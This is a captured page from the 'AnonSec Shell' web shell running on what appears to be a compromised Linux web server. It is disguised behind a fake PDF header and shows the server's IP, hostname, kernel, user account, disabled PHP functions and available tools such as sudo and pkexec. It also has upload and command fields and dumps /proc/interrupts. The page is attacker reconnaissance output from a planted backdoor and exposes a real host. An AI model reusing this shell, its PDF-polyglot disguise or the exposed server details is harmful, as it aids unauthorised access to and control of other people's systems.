%PDF-1.3 %��C ��C ����"#Qr����&1!A"2qQa��� ?�y,�/3J�ݹ�߲؋5�Xw���y�R��I0�2�PI�I��iM��r�N&"KgX:��nTJnLK��@!�-� ���m�;�g���&�hw���@�ܗ 9�-�.�1 AnonSec Shell
AnonSec Shell
Server IP : 192.175.98.165  /  Your IP : 216.73.216.219
Web Server : Apache
System : Linux server.tobedev.com 4.18.0-553.72.1.el8_10.x86_64 #1 SMP Tue Sep 2 06:07:48 EDT 2025 x86_64
User : meir5web ( 1019)
PHP Version : 7.4.33
Disable Function : passthru,shell_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /proc//interrupts
           CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       
  0:         32          0          0          0          0          0          0          0  IR-IO-APIC   2-edge      timer
  8:          0          0          0          0          0          1          0          0  IR-IO-APIC   8-edge      rtc0
  9:          0          3          0          0          0          0          0          0  IR-IO-APIC   9-fasteoi   acpi
 16:          0          0          0          0          0          0          0          0  IR-IO-APIC  16-fasteoi   i801_smbus
 24:          0          0          0          0          0          0          0          0  DMAR-MSI   0-edge      dmar0
 25:          0          0          0          0          0          0          0          0  IR-PCI-MSI 458752-edge      PCIe PME, pciehp
 26:          0          0          0          0          0          0          0          0  IR-PCI-MSI 462848-edge      PCIe PME
 27:          0          0          0          0          0          0          0          0  IR-PCI-MSI 466944-edge      PCIe PME
 28:          0          0          0          0          0          2         56          0  IR-PCI-MSI 327680-edge      xhci_hcd
 29:   16595268    9207721   86303134   10542487  135044574    2740868   27467301   82188724  IR-PCI-MSI 376832-edge      ahci[0000:00:17.0]
 30:  130769998     494151    4046024     411547     656972    9021278    1439829    1698692  IR-PCI-MSI 2097152-edge      eno1-TxRx-0
 31:       1088   69615844     256138     418448     986073     386274    1687029    1653934  IR-PCI-MSI 2097153-edge      eno1-TxRx-1
 32:    2132198     736856   59086110    2390247     925651    1434014     475892    1325700  IR-PCI-MSI 2097154-edge      eno1-TxRx-2
 33:      46948     288059    2321189   75038696     179650     257863     565298     379679  IR-PCI-MSI 2097155-edge      eno1-TxRx-3
 34:      26228    3433685    1769928    1374111   40379786    2547133    1896432    1942969  IR-PCI-MSI 2097156-edge      eno1-TxRx-4
 35:    4298876     112727     219073     194580     609787   73752564     343525    1048064  IR-PCI-MSI 2097157-edge      eno1-TxRx-5
 36:      64845    1020046     377592    1051844    1028898     808192   68826499    1054839  IR-PCI-MSI 2097158-edge      eno1-TxRx-6
 37:      37206     610610     856445     693547    1745514    1718857    1337692   63673024  IR-PCI-MSI 2097159-edge      eno1-TxRx-7
 38:         24        185        213        162        131        282        333        229  IR-PCI-MSI 2097160-edge      eno1
 39:      15566     126734     180659      72950     105782     197710     226805     137287  IR-PCI-MSI 2099200-edge      eno2-TxRx-0
 40:      11251     125471     157939      94484      89683     209221     218904     156540  IR-PCI-MSI 2099201-edge      eno2-TxRx-1
 41:      15409     124819     177462      74333     112676     195199     226139     137456  IR-PCI-MSI 2099202-edge      eno2-TxRx-2
 42:      10712     129939     155009      99691      85037     221427     214377     147900  IR-PCI-MSI 2099203-edge      eno2-TxRx-3
 43:      16643     130970     178209      74249     105432     192306     219968     145716  IR-PCI-MSI 2099204-edge      eno2-TxRx-4
 44:      12074     128092     158481      91398      97164     210267     217373     148644  IR-PCI-MSI 2099205-edge      eno2-TxRx-5
 45:      14526     133879     173491      79089     100921     203425     222028     136134  IR-PCI-MSI 2099206-edge      eno2-TxRx-6
 46:      10069     129086     142042     120543      75980     223299     200118     162356  IR-PCI-MSI 2099207-edge      eno2-TxRx-7
 47:          0          0          0          0          0          0          0          1  IR-PCI-MSI 2099208-edge      eno2
NMI:      75961      80456      76122      66428      74790      68775      71218      77495   Non-maskable interrupts
LOC: 1893435667 1555854989 1490413251 1553025232 1479936522 1479115554 1441207641 1470703889   Local timer interrupts
SPU:          0          0          0          0          0          0          0          0   Spurious interrupts
PMI:      75961      80456      76122      66428      74790      68775      71218      77495   Performance monitoring interrupts
IWI:          0          0          0          1          0          0          0          1   IRQ work interrupts
RTR:          0          0          0          0          0          0          0          0   APIC ICR read retries
RES:    1915216    1915199    1821096    1772308    1170368    1060028    1039565    1368343   Rescheduling interrupts
CAL:  139107076   56015675   36735272   32614848   21474581   20290910   16962042   14090246   Function call interrupts
TLB:     355773     350654     353568     351111     353980     356805     364660     365988   TLB shootdowns
TRM:          0          0          0          0          0          0          0          0   Thermal event interrupts
THR:          0          0          0          0          0          0          0          0   Threshold APIC interrupts
DFR:          0          0          0          0          0          0          0          0   Deferred Error APIC interrupts
MCE:          0          0          0          0          0          0          0          0   Machine check exceptions
MCP:       6647       6648       6648       6648       6648       6648       6648       6648   Machine check polls
HYP:          0          0          0          0          0          0          0          0   Hypervisor callback interrupts
HRE:          0          0          0          0          0          0          0          0   Hyper-V reenlightenment interrupts
HVS:          0          0          0          0          0          0          0          0   Hyper-V stimer0 interrupts
ERR:          3
MIS:          0
PIN:          0          0          0          0          0          0          0          0   Posted-interrupt notification event
NPI:          0          0          0          0          0          0          0          0   Nested posted-interrupt event
PIW:          0          0          0          0          0          0          0          0   Posted-interrupt wakeup event

Anon7 - 2022
AnonSec Team